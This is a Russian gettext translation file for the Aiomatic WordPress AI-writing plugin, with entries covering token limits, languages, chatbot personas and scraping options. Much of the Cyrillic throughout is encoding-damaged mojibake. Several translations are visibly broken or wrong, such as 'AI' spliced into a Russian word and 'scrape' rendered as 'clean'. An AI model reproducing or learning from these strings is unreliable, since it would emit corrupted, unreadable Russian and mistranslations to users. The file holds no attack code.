Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ. Ð’Ñ‹ также можете иÑпользовать " "диапазоны значений, например: 3-5. Значение по умолчанию: 1-2." #: res/aiomatic-main.php:5426 msgid "Maximum Number Of Taxonomies To Process:" msgstr "МакÑимальное КоличеÑтво Обрабатываемых ТакÑономий:" #: res/aiomatic-embeddings.php:475 res/aiomatic-spinner-list.php:4523 msgid "Maximum Posts To Change:" msgstr "МакÑимальное количеÑтво ПоÑтов Ð´Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ:" #: res/aiomatic-amazon-list.php:4091 res/aiomatic-review-list.php:4244 #: res/aiomatic-rules-list.php:4492 res/aiomatic-youtube-list.php:4002 msgid "Maximum Prompt Token Count To Use Per API Request" msgstr "" "МакÑимальное количеÑтво токенов Промптов Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½Ð° Ð·Ð°Ð¿Ñ€Ð¾Ñ API" #: res/aiomatic-amazon-list.php:1523 res/aiomatic-review-list.php:1592 #: res/aiomatic-rules-list.php:1725 res/aiomatic-single-list.php:2224 #: res/aiomatic-single-list.php:2959 res/aiomatic-single-list.php:4212 #: res/aiomatic-single-list.php:5526 res/aiomatic-single-list.php:6892 #: res/aiomatic-spinner-list.php:1768 res/aiomatic-youtube-list.php:1479 msgid "Maximum Prompt Token Count To Use Per API Request:" msgstr "" "МакÑимальное количеÑтво токенов Промптов Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² запроÑе API:" #: res/aiomatic-main.php:9240 msgid "Maximum Replacement Count" msgstr "МакÑимальное количеÑтво замен" #: aiomatic-automation.php:387 msgid "Maximum Result Length" msgstr "МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð´Ð»Ð¸Ð½Ð° результата" #: res/aiomatic-spinner-list.php:1781 msgid "Maximum Result Token Count To Use Per API Request:" msgstr "" "МакÑимальное количеÑтво маркеров результата Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² запроÑе API:" #: res/aiomatic-amazon-list.php:4080 res/aiomatic-review-list.php:4233 #: res/aiomatic-rules-list.php:4481 res/aiomatic-youtube-list.php:3991 msgid "Maximum Total Token Count To Use Per API Request" msgstr "МакÑимальное общее количеÑтво токенов Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½Ð° Ð·Ð°Ð¿Ñ€Ð¾Ñ API" #: res/aiomatic-amazon-list.php:1508 res/aiomatic-review-list.php:1577 #: res/aiomatic-rules-list.php:1710 res/aiomatic-single-list.php:2209 #: res/aiomatic-single-list.php:2944 res/aiomatic-single-list.php:4197 #: res/aiomatic-single-list.php:5511 res/aiomatic-single-list.php:6877 #: res/aiomatic-spinner-list.php:1755 res/aiomatic-youtube-list.php:1464 msgid "Maximum Total Token Count To Use Per API Request:" msgstr "МакÑимальное общее количеÑтво токенов Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½Ð° Ð·Ð°Ð¿Ñ€Ð¾Ñ API:" #: res/aiomatic-assistants.php:309 res/aiomatic-automation-list.php:2119 #: res/aiomatic-chatbot.php:5629 res/aiomatic-embeddings.php:176 #: res/aiomatic-shortcodes.php:435 msgid "Maximum upload file size" msgstr "МакÑимальный размер загружаемого файла" #: res/aiomatic-assistants.php:95 res/aiomatic-training.php:142 msgid "Maximum upload file size:" msgstr "МакÑимальный размер загружаемого файла:" #: res/aiomatic-more.php:11 msgid "Media Library Extensions" msgstr "РаÑÑˆÐ¸Ñ€ÐµÐ½Ð¸Ñ ÐœÐµÐ´Ð¸Ð°Ñ‚ÐµÐºÐ¸" #: res/aiomatic-more.php:57 msgid "Media Library Extensions Tutorial Videos:" msgstr "Обучающие видеоролики по РаÑширениÑм Медиатеки:" #: res/aiomatic-amazon-list.php:126 res/aiomatic-review-list.php:126 #: res/aiomatic-rules-list.php:126 res/aiomatic-single-list.php:126 #: res/aiomatic-single-list.php:264 res/aiomatic-youtube-list.php:126 msgid "Meiteilon" msgstr "Мейтейлон" #: res/aiomatic-languages.php:127 msgid "Meiteilon (Google Translate)" msgstr "Мейтейлон (Google Translate)" #: res/aiomatic-main.php:3351 msgid "Menu name" msgstr "Ðазвание меню" #: res/aiomatic-embeddings.php:658 res/aiomatic-spinner-list.php:4778 msgid "Menu Order" msgstr "ПорÑдок Ñортировки" #: res/aiomatic-limits-statistics.php:1240 #| msgid "Message When Limit Reached (Logged In):" msgid "Message When Limit Reached (Logged In Users):" msgstr "ПоÑÑ‚ при доÑтижении лимита (вход в ÑиÑтему):" #: res/aiomatic-limits-statistics.php:1369 #| msgid "Message When Limit Reached (Not Logged In):" msgid "Message When Limit Reached (Not Logged In Users):" msgstr "ПоÑÑ‚ при доÑтижении лимита (не вошел в ÑиÑтему):" #: res/aiomatic-limits-statistics.php:1393 msgid "Message When Limit Reached (Rule Based Restrictions - Global):" msgstr "" "ПоÑÑ‚ при доÑтиженAI предела (ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° оÑнове Правил — Глобальные):" #: res/aiomatic-embeddings.php:507 res/aiomatic-spinner-list.php:4555 msgid "Meta Key Name:" msgstr "Ð˜Ð¼Ñ Ð¼ÐµÑ‚Ð°-ключа:" #: res/aiomatic-embeddings.php:523 res/aiomatic-spinner-list.php:4571 msgid "Meta Key Value:" msgstr "Значение мета-ключа:" #: res/aiomatic-embeddings.php:659 res/aiomatic-spinner-list.php:4783 msgid "Meta Value" msgstr "Значение метаданных" #: res/aiomatic-embeddings.php:660 res/aiomatic-spinner-list.php:4788 msgid "Meta Value Number" msgstr "Ðомер мета значениÑ" #: aiomatic-automation.php:1062 msgid "Method Selector" msgstr "Выбор метода" #: aiomatic-helpers.php:1485 msgid "Mexico" msgstr "МекÑика" #: res/aiomatic-main.php:1780 msgid "Microsoft Azure" msgstr "Microsoft Azure" #: res/aiomatic-main.php:2450 msgid "Microsoft Translator Access Key (Optional)" msgstr "Ключ доÑтупа к переводчику Microsoft (необÑзательно)" #: res/aiomatic-main.php:2439 msgid "Microsoft Translator API:" msgstr "API-Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð¿ÐµÑ€ÐµÐ²Ð¾Ð´Ñ‡Ð¸ÐºÐ° Microsoft:" #: res/aiomatic-main.php:2471 msgid "Microsoft Translator Region Code (Optional)" msgstr "Код региона переводчика Microsoft (необÑзательно)" #: res/aiomatic-main.php:4610 msgid "Middle East (Bahrain)" msgstr "Ближний ВоÑток (Бахрейн)" #: aiomatic-ajax-actions.php:7952 res/aiomatic-shortcodes.php:71 msgid "Min" msgstr "Миним." #: res/aiomatic-amazon-list.php:3019 msgid "Min Price in Pennies" msgstr "ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñ†ÐµÐ½Ð° в пенни" #: res/aiomatic-amazon-list.php:433 res/aiomatic-single-list.php:4641 msgid "Min Price in Pennies:" msgstr "ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñ†ÐµÐ½Ð° в пенни:" #: res/aiomatic-main.php:8443 res/aiomatic-main.php:8962 msgid "Minimum image width." msgstr "ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ ÑˆÐ¸Ñ€Ð¸Ð½Ð° изображениÑ." #: res/aiomatic-amazon-list.php:1227 res/aiomatic-amazon-list.php:3773 #: res/aiomatic-csv-list.php:581 res/aiomatic-csv-list.php:1744 #: res/aiomatic-review-list.php:1296 res/aiomatic-review-list.php:3926 #: res/aiomatic-rules-list.php:1429 res/aiomatic-rules-list.php:4174 #: res/aiomatic-single-list.php:1236 res/aiomatic-single-list.php:2133 #: res/aiomatic-single-list.php:2868 res/aiomatic-single-list.php:4121 #: res/aiomatic-single-list.php:5435 res/aiomatic-single-list.php:6801 #: res/aiomatic-spinner-list.php:2120 res/aiomatic-youtube-list.php:1183 #: res/aiomatic-youtube-list.php:3684 msgid "Mixed Links" msgstr "Смешанные СÑылки" #: res/aiomatic-amazon-list.php:127 res/aiomatic-review-list.php:127 #: res/aiomatic-rules-list.php:127 res/aiomatic-single-list.php:127 #: res/aiomatic-single-list.php:265 res/aiomatic-youtube-list.php:127 msgid "Mizo" msgstr "Мизо" #: res/aiomatic-languages.php:128 msgid "Mizo (Google Translate)" msgstr "Mizo (Переводчик Google)" #: res/aiomatic-limits-statistics.php:700 msgid "Mode" msgstr "Метод" #: res/aiomatic-limits-statistics.php:479 msgid "Mode: The mode in which the request was made." msgstr "Режим: режим, в котором был Ñделан запроÑ." #: res/aiomatic-embeddings.php:102 res/aiomatic-limits-statistics.php:696 #: res/aiomatic-single-list.php:801 res/aiomatic-single-list.php:832 #: res/aiomatic-training.php:426 res/aiomatic-training.php:508 msgid "Model" msgstr "Модель" #: res/aiomatic-training.php:113 res/aiomatic-training.php:220 msgid "Model Base" msgstr "Ð‘Ð°Ð·Ð¾Ð²Ð°Ñ ÐœÐ¾Ð´ÐµÐ»ÑŒ" #: res/aiomatic-main.php:7936 msgid "Model For Keyword Extraction For Royalty Free Images:" msgstr "Модель Ð´Ð»Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐšÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Слов Ð´Ð»Ñ Ð›Ð¸Ñ†ÐµÐ½Ð·Ð¸Ð¾Ð½Ð½Ñ‹Ñ… Изображений:" #: res/aiomatic-single-list.php:778 msgid "Model Settings" msgstr "ÐаÑтройки модели" #: res/aiomatic-limits-statistics.php:477 msgid "Model: The AI model used for the request." msgstr "Модель: модель AI, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÐµÐ¼Ð°Ñ Ð´Ð»Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñа." #: res/aiomatic-main.php:2811 msgid "modeling-compound" msgstr "модельный паÑта" #: res/aiomatic-chatbot.php:632 msgid "Moderation" msgstr "Ðа модерации" #: res/aiomatic-embeddings.php:654 res/aiomatic-spinner-list.php:4758 msgid "Modified" msgstr "Изменено" #: res/aiomatic-main.php:6999 msgid "Modify Prompt For the AI Writer Using Internet Search Results:" msgstr "" "Изменить приглашение Ð´Ð»Ñ AI Writer Ñ Ð¸Ñпользованием результатов поиÑка в " "Интернете:" #: res/aiomatic-main.php:6995 #, php-format msgid "" "Modify the prompt for the AI writer, using the below template, adding also " "information extracted from the internet. You can use the following " "shortcodes: %%original_query%% (to add the original search query), " "%%current_date%% (to add the current date), %%web_results%% (to add the " "search query results)." msgstr "" "Измените приглашение Ð´Ð»Ñ Ð¼Ð¾Ð´ÑƒÐ»Ñ Ð·Ð°Ð¿Ð¸Ñи AI, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¿Ñ€Ð¸Ð²ÐµÐ´ÐµÐ½Ð½Ñ‹Ð¹ ниже шаблон," " добавив также информацию, извлеченную из Интернета. Можно иÑпользовать " "Ñледующие Шорткоды: %%original_query%% (Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ñходного поиÑкового " "запроÑа), %%current_date%% (Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñ‚ÐµÐºÑƒÑ‰ÐµÐ¹ даты), %%web_results%% " "(Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð¸Ñкового результаты запроÑа)." #: res/aiomatic-main.php:7016 #, php-format msgid "" "Modify the template of the %%web_results%% shortcode. You will be able to " "use the following shortcodes: %%result_counter%% (to add the index of the " "current result), %%result_title%% (to add the title of the current result), " "%%result_snippet%% (to add the snippet of the current result), " "%%result_link%% (to add the URL of the current result). The default value " "for this settings field is: [%%result_counter%%]: %%result_title%% " "%%result_snippet%% URL: %%result_link%%" msgstr "" "Измените шаблон Шорткода %%web_results%%. Ð’Ñ‹ Ñможете иÑпользовать Ñледующие " "Шорткоды: %%result_counter%% (Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð½Ð´ÐµÐºÑа текущего результата), " "%%result_title%% (Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° текущего результата), " "%%result_snippet. %% (чтобы добавить фрагмент текущего результата), " "%%result_link%% (чтобы добавить URL-Ð°Ð´Ñ€ÐµÑ Ñ‚ÐµÐºÑƒÑ‰ÐµÐ³Ð¾ результата). Значение по " "умолчанию Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ ÐаÑтроек: [%%result_counter%%]: %%result_title%% " "%%result_snippet%% URL: %%result_link%%" #: res/aiomatic-amazon-list.php:93 res/aiomatic-review-list.php:93 #: res/aiomatic-rules-list.php:93 res/aiomatic-single-list.php:93 #: res/aiomatic-single-list.php:231 res/aiomatic-youtube-list.php:93 msgid "Mongolian" msgstr "МонгольÑкий" #: res/aiomatic-languages.php:93 msgid "Mongolian (Google Translate)" msgstr "МонгольÑкий (переводчик Google)" #: res/aiomatic-limits-statistics.php:115 #: res/aiomatic-limits-statistics.php:869 #: res/aiomatic-limits-statistics.php:1000 #: res/aiomatic-limits-statistics.php:1163 #: res/aiomatic-limits-statistics.php:1327 #: res/aiomatic-limits-statistics.php:1529 msgid "Month" msgstr "МеÑÑц" #: res/aiomatic-embeddings.php:571 res/aiomatic-spinner-list.php:4619 msgid "Month Query:" msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð¼ÐµÑÑца:" #: res/aiomatic-embeddings.php:49 msgid "More about Embeddings" msgstr "Подробнее о Ð’ÑтраиваниÑÑ…" #: res/aiomatic-training.php:57 msgid "More about fine tuning" msgstr "Подробнее о Тонкой ÐаÑтройке" #: res/aiomatic-logs.php:93 msgid "More advanced and detailed system information." msgstr "Более раÑÑˆÐ¸Ñ€ÐµÐ½Ð½Ð°Ñ Ð¸ Ð´ÐµÑ‚Ð°Ð»Ð¸Ð·Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ ÑиÑтеме." #: res/other/plugin-dash.php:438 msgid "More Details" msgstr "Подробнее" #: res/aiomatic-main.php:6511 msgid "More details about Embeddings, check " msgstr "Подробнее о вÑтраиваниÑÑ… Ñм." #: aiomatic-automatic-ai-content-writer.php:1368 res/aiomatic-more.php:7 #: res/aiomatic-more.php:10 msgid "More Features" msgstr "Больше Функций" #: res/aiomatic-logs.php:352 msgid "More Info" msgstr "Больше Информации" #: res/aiomatic-amazon-list.php:2388 res/aiomatic-automation-list.php:4950 #: res/aiomatic-csv-list.php:935 res/aiomatic-review-list.php:2457 #: res/aiomatic-rules-list.php:2585 res/aiomatic-youtube-list.php:2359 msgid "More info" msgstr "Больше информации" #: res/other/plugin-dash.php:438 msgid "More information about" msgstr "Ð”Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾" #: update-checker/Puc/v5p2/Plugin/Ui.php:79 #, php-format msgid "More information about %s" msgstr "Ð”Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ %s" #: res/aiomatic-amazon-list.php:254 res/aiomatic-csv-list.php:116 #: res/aiomatic-review-list.php:254 res/aiomatic-rules-list.php:264 #: res/aiomatic-single-list.php:1071 res/aiomatic-youtube-list.php:254 msgid "More Options" msgstr "Больше вариантов" #: res/aiomatic-main.php:7964 msgid "More Royalty Free Image Options:" msgstr "Больше вариантов Изображений Royalty Free:" #: res/aiomatic-automation-list.php:2575 res/aiomatic-limits-statistics.php:235 msgid "More Settings" msgstr "Больше ÐаÑтроек" #: res/aiomatic-limits-statistics.php:1624 msgid "More Settings:" msgstr "Больше ÐаÑтроек:" #: res/aiomatic-amazon-list.php:2152 res/aiomatic-amazon-list.php:4847 #: res/aiomatic-automation-list.php:4715 res/aiomatic-automation-list.php:7540 #: res/aiomatic-csv-list.php:699 res/aiomatic-csv-list.php:1951 #: res/aiomatic-review-list.php:2221 res/aiomatic-review-list.php:5000 #: res/aiomatic-rules-list.php:2350 res/aiomatic-rules-list.php:5237 #: res/aiomatic-youtube-list.php:2123 res/aiomatic-youtube-list.php:4775 msgid "Move All Posts To Trash" msgstr "ПеремеÑтить вÑе ПоÑÑ‚Ñ‹ в корзину" #: aiomatic-automation.php:48 msgid "Multiline Input" msgstr "МногоÑтрочный ввод" #: res/aiomatic-main.php:4392 msgid "Multiple Crawled Content Separator:" msgstr "Разделитель МножеÑтвенного СпарÑенного Контента:" #: res/aiomatic-main.php:8434 res/aiomatic-main.php:8953 msgid "Music" msgstr "Музыка" #: res/aiomatic-logs.php:408 msgid "MySQL Client encoding" msgstr "КлиентÑÐºÐ°Ñ ÐšÐ¾Ð´Ð¸Ñ€Ð¾Ð²ÐºÐ° MySQL" #: res/aiomatic-logs.php:363 msgid "MySQL Detailed version" msgstr "MySQL ÐŸÐ¾Ð´Ñ€Ð¾Ð±Ð½Ð°Ñ Ð²ÐµÑ€ÑиÑ" #: res/aiomatic-logs.php:317 msgid "MySQL Version" msgstr "ВерÑÐ¸Ñ MySQL" #: res/aiomatic-logs.php:317 msgid "MySQL Version:" msgstr "ВерÑÐ¸Ñ MySQL:" #: res/aiomatic-assistants.php:165 res/aiomatic-automation-list.php:2237 #: res/aiomatic-automation-list.php:2353 res/aiomatic-chatbot.php:2297 msgid "Name" msgstr "ИмÑ" #: res/aiomatic-embeddings.php:101 msgid "Namespace" msgstr "ПроÑтранÑтво Имен" #: res/aiomatic-main.php:2582 msgid "Natural" msgstr "Ðатуральный" #: res/aiomatic-main.php:8344 res/aiomatic-main.php:8863 msgid "Nature" msgstr "Природа" #: res/aiomatic-main.php:1578 msgid "Navigate to the 'API Keys' tab on the top of this admin page." msgstr "" "Перейдите на вкладку «Ключи API» в верхней чаÑти Ñтой Ñтраницы " "админиÑтратора." #: res/aiomatic-limits-statistics.php:466 msgid "Navigate to the 'Limits and Statistics' section of the Aiomatic plugin." msgstr "Перейдите в Раздел «Лимиты и ÑтатиÑтика» Плагина Aiomatic." #: res/aiomatic-main.php:1743 #, php-format msgid "" "Need help configuring this plugin? Please check out it's video tutorial." msgstr "" "Ðужна помощь в наÑтройке Ñтого Плагина? ПожалуйÑта, проверьте Ñтот ВИДЕО-УРОК." #: res/aiomatic-main.php:1611 msgid "Need help?" msgstr "Ðужна помощь?" #: res/aiomatic-main.php:2816 msgid "neon-punk" msgstr "неоновый панк" #: res/aiomatic-amazon-list.php:94 res/aiomatic-review-list.php:94 #: res/aiomatic-rules-list.php:94 res/aiomatic-single-list.php:94 #: res/aiomatic-single-list.php:232 res/aiomatic-youtube-list.php:94 msgid "Nepali" msgstr "ÐепальÑкий" #: res/aiomatic-languages.php:94 msgid "Nepali (Google Translate)" msgstr "ÐепальÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:2388 res/aiomatic-automation-list.php:4950 #: res/aiomatic-csv-list.php:935 res/aiomatic-review-list.php:2457 #: res/aiomatic-rules-list.php:2585 res/aiomatic-spinner-list.php:4796 #: res/aiomatic-youtube-list.php:2359 msgid "Nested Shortcodes also supported!" msgstr "Вложенные Шорткоды также поддерживаютÑÑ!" #: aiomatic-helpers.php:1498 msgid "Netherlands" msgstr "Ðидерланды" #: res/aiomatic-main.php:2090 msgid "" "New feature added to this plugin: it is able to use HeadlessBrowserAPI to " "scrape with JavaScript rendered content any website from the internet. Also, " "the Tor node of the API will be able to scrape .onion sites from the Dark " "Net!" msgstr "" "Ð’ Ñтот плагин добавлена â€‹â€‹Ð½Ð¾Ð²Ð°Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ: она может иÑпользовать " "HeadlessBrowserAPI Ð´Ð»Ñ Ð¾Ñ‡Ð¸Ñтки контента, отображаемого на JavaScript, Ñ " "любого веб-Ñайта из Интернета. Кроме того, узел API Tor Ñможет очищать Ñайты " ".onion из даркнета!" #: aiomatic-automatic-ai-content-writer.php:15401 msgid "New Post Source Name" msgstr "Ðовое Ð¸Ð¼Ñ Ð¸Ñточника публикации" #: res/aiomatic-amazon-list.php:2397 res/aiomatic-automation-list.php:4959 #: res/aiomatic-csv-list.php:944 res/aiomatic-review-list.php:2466 #: res/aiomatic-rules-list.php:2594 res/aiomatic-youtube-list.php:2368 msgid "New Posts Created" msgstr "Ðовые ПоÑÑ‚Ñ‹ Ñозданы" #: res/aiomatic-amazon-list.php:334 res/aiomatic-automation-list.php:2655 #: res/aiomatic-automation-list.php:4640 res/aiomatic-csv-list.php:196 #: res/aiomatic-limits-statistics.php:1544 res/aiomatic-review-list.php:334 #: res/aiomatic-rules-list.php:349 res/aiomatic-youtube-list.php:334 msgid "New Rule" msgstr "Ðовое правило" #: res/aiomatic-amazon-list.php:2388 res/aiomatic-automation-list.php:4950 #: res/aiomatic-csv-list.php:935 res/aiomatic-review-list.php:2457 #: res/aiomatic-rules-list.php:2585 res/aiomatic-spinner-list.php:4796 #: res/aiomatic-youtube-list.php:2359 msgid "" "New! You can use the [aicontent]Your Prompt[/aicontent] shortcode in this or " "other" msgstr "" "Ðовый! Ð’Ñ‹ можете иÑпользовать Шорткод [aicontent]Your Prompt[/aicontent] в " "Ñтом или другом" #: aiomatic-helpers.php:1471 res/aiomatic-amazon-list.php:488 #: res/aiomatic-amazon-list.php:3081 res/aiomatic-single-list.php:4696 msgid "NewestArrivals" msgstr "ÐовейшееПрибытие" #: res/aiomatic-chatbot.php:5096 msgid "Next" msgstr "Ñледующий" #: res/aiomatic-amazon-list.php:2378 res/aiomatic-automation-list.php:4941 #: res/aiomatic-csv-list.php:925 res/aiomatic-review-list.php:2447 #: res/aiomatic-rules-list.php:2576 res/aiomatic-youtube-list.php:2349 msgid "Next Page" msgstr "Ð¡Ð»ÐµÐ´ÑƒÑŽÑ‰Ð°Ñ Ñтраница" #: res/aiomatic-amazon-list.php:4737 res/aiomatic-automation-list.php:7430 #: res/aiomatic-csv-list.php:1841 res/aiomatic-review-list.php:4890 #: res/aiomatic-rules-list.php:5127 res/aiomatic-youtube-list.php:4665 msgid "Next Run: " msgstr "Следующий прогон: " #: res/aiomatic-main.php:2306 msgid "NLP API Key:" msgstr "NLP API Key:" #: aiomatic-automatic-ai-content-writer.php:181 #: aiomatic-automatic-ai-content-writer.php:13227 #: aiomatic-automatic-ai-content-writer.php:14125 #: res/aiomatic-automation-list.php:589 res/aiomatic-automation-list.php:1493 #: res/aiomatic-automation-list.php:3056 res/aiomatic-automation-list.php:3960 #: res/aiomatic-automation-list.php:5809 res/aiomatic-automation-list.php:6717 #: res/aiomatic-limits-statistics.php:130 #: res/aiomatic-limits-statistics.php:274 #: res/aiomatic-limits-statistics.php:1535 #: res/aiomatic-limits-statistics.php:1653 res/aiomatic-shortcodes.php:46 #: res/aiomatic-single-list.php:553 res/aiomatic-single-list.php:905 #: res/aiomatic-single-list.php:7339 msgid "No" msgstr "Ðет" #: aiomatic-automatic-ai-content-writer.php:12815 #: res/aiomatic-automation-list.php:5395 msgid "" "No \"Action\" type OmniBlock added in the queue! Add a \"Action\" type " "OmniBlock, like: \"Save Posts\" to store the data which was created by the " "AI. Otherwise, it will be lost." msgstr "" "OmniBlock типа «ДейÑтвие» не добавлен в очередь! Добавьте OmniBlock типа " "«ДейÑтвие», например «Сохранить поÑты», Ð´Ð»Ñ Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ð´Ð°Ð½Ð½Ñ‹Ñ…, Ñозданных AI. Ð’ " "противном Ñлучае оно будет потерÑно." #: aiomatic-automatic-ai-content-writer.php:12835 #: res/aiomatic-automation-list.php:206 res/aiomatic-automation-list.php:2673 #: res/aiomatic-automation-list.php:5416 msgid "No AI OmniBlock Types Added To This Rule" msgstr "Ð’ Ñто правило не добавлено ни одного типа AI OmniBlock." #: aiomatic-automatic-ai-content-writer.php:13885 #: res/aiomatic-automation-list.php:1255 res/aiomatic-automation-list.php:3722 #: res/aiomatic-automation-list.php:6477 msgid "No AI OmniBlock Types Defined!" msgstr "Типы AI OmniBlock не определены!" #: aiomatic-ajax-actions.php:8066 #: aiomatic-automatic-ai-content-writer.php:13095 #: aiomatic-automatic-ai-content-writer.php:14029 #: aiomatic-shortcodes-file.php:543 res/admin/ai-post-gutenberg.php:101 #: res/admin/ai-post.php:95 res/aiomatic-amazon-list.php:363 #: res/aiomatic-amazon-list.php:2964 res/aiomatic-automation-list.php:458 #: res/aiomatic-automation-list.php:1397 res/aiomatic-automation-list.php:2925 #: res/aiomatic-automation-list.php:3864 res/aiomatic-automation-list.php:5677 #: res/aiomatic-automation-list.php:6621 res/aiomatic-chatbot.php:904 #: res/aiomatic-chatbot.php:4355 res/aiomatic-main.php:3226 #: res/aiomatic-main.php:3753 res/aiomatic-main.php:4046 #: res/aiomatic-main.php:4172 res/aiomatic-main.php:5051 #: res/aiomatic-main.php:5150 res/aiomatic-main.php:5279 #: res/aiomatic-main.php:5509 res/aiomatic-main.php:5612 #: res/aiomatic-main.php:6920 res/aiomatic-main.php:7073 #: res/aiomatic-review-list.php:363 res/aiomatic-review-list.php:3041 #: res/aiomatic-rules-list.php:378 res/aiomatic-rules-list.php:3203 #: res/aiomatic-shortcodes.php:267 res/aiomatic-single-list.php:814 #: res/aiomatic-single-list.php:1346 res/aiomatic-single-list.php:2549 #: res/aiomatic-single-list.php:3301 res/aiomatic-single-list.php:4571 #: res/aiomatic-single-list.php:5868 res/aiomatic-spinner-list.php:956 #: res/aiomatic-spinner-list.php:1675 res/aiomatic-spinner-list.php:1908 #: res/aiomatic-spinner-list.php:2275 res/aiomatic-spinner-list.php:2450 #: res/aiomatic-spinner-list.php:2623 res/aiomatic-spinner-list.php:2842 #: res/aiomatic-youtube-list.php:363 res/aiomatic-youtube-list.php:2931 msgid "" "No Assistans added, go to the plugin's 'AI Assistans' menu to add new " "assistants!" msgstr "" "ÐÑÑиÑтенты не добавлены, перейдите в меню «AI ÐÑÑиÑтенты» плагина, чтобы " "добавить новых помощников!" #: res/aiomatic-assistants.php:224 msgid "" "No assistants added. You can add more using the 'Add New Assistant' button " "from above." msgstr "" "ÐÑÑиÑтенты не добавлены. Ð’Ñ‹ можете добавить больше, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ½Ð¾Ð¿ÐºÑƒ " "«Добавить Ðового ÐÑÑиÑтента» Ñверху." #: aiomatic-shortcodes-file.php:3649 res/aiomatic-chatbot.php:840 msgid "No avatar added" msgstr "Ðватар не добавлен" #: res/aiomatic-spinner-list.php:3835 msgid "No Change" msgstr "Изменений не произведено" #: res/aiomatic-amazon-list.php:2405 res/aiomatic-automation-list.php:4967 #: res/aiomatic-csv-list.php:952 res/aiomatic-review-list.php:2474 #: res/aiomatic-rules-list.php:2602 res/aiomatic-youtube-list.php:2376 msgid "No Change - No New Posts Created" msgstr "Без изменений - не Ñоздано новых ПоÑтов" #: res/aiomatic-chatbot.php:826 res/aiomatic-chatbot.php:1077 msgid "" "No chatbot personas added. Add them in the 'Manage Chatbot Personas' tab." msgstr "" "ПерÑонажи чат-бота не добавлены. Добавьте их на вкладке «Управление " "профилÑми чат-бота»." #: res/aiomatic-chatbot.php:2343 msgid "" "No chatbot personas added. You can add more using the 'Add New Persona' " "button from above." msgstr "" "ПерÑонажи чат-бота не добавлены. Ð’Ñ‹ можете добавить больше, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ½Ð¾Ð¿ÐºÑƒ " "«Добавить новую личноÑть» Ñверху." #: aiomatic-ajax-actions.php:4834 aiomatic-ajax-actions.php:4947 msgid "No file sent for upload." msgstr "Ðи один файл не отправлен на загрузку." #: aiomatic-ajax-actions.php:9351 msgid "No image returned from API call: " msgstr "Изображение не возвращаетÑÑ Ð¸Ð· вызова API:" #: res/aiomatic-amazon-list.php:2138 res/aiomatic-automation-list.php:4701 #: res/aiomatic-csv-list.php:685 res/aiomatic-review-list.php:2207 #: res/aiomatic-rules-list.php:2336 res/aiomatic-youtube-list.php:2109 msgid "No info." msgstr "Ðет информации" #: res/aiomatic-main.php:8149 msgid "No known copyright restrictions" msgstr "Ðет извеÑтных ограничений авторÑкого права" #: res/StatisticsClass.php:757 msgid "No limit" msgstr "Ðет Лимита" #: res/aiomatic-automation-list.php:2290 msgid "" "No OmniBlock Files found. You can add more using the 'Upload OmniBlock File' " "button from above. You can also generate new files using OmniBlocks." msgstr "" "Файлы OmniBlock не найдены. Ð’Ñ‹ можете добавить другие, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ½Ð¾Ð¿ÐºÑƒ " "'Загрузить файл OmniBlock' Ñверху. Ð’Ñ‹ также можете генерировать новые файлы " "Ñ 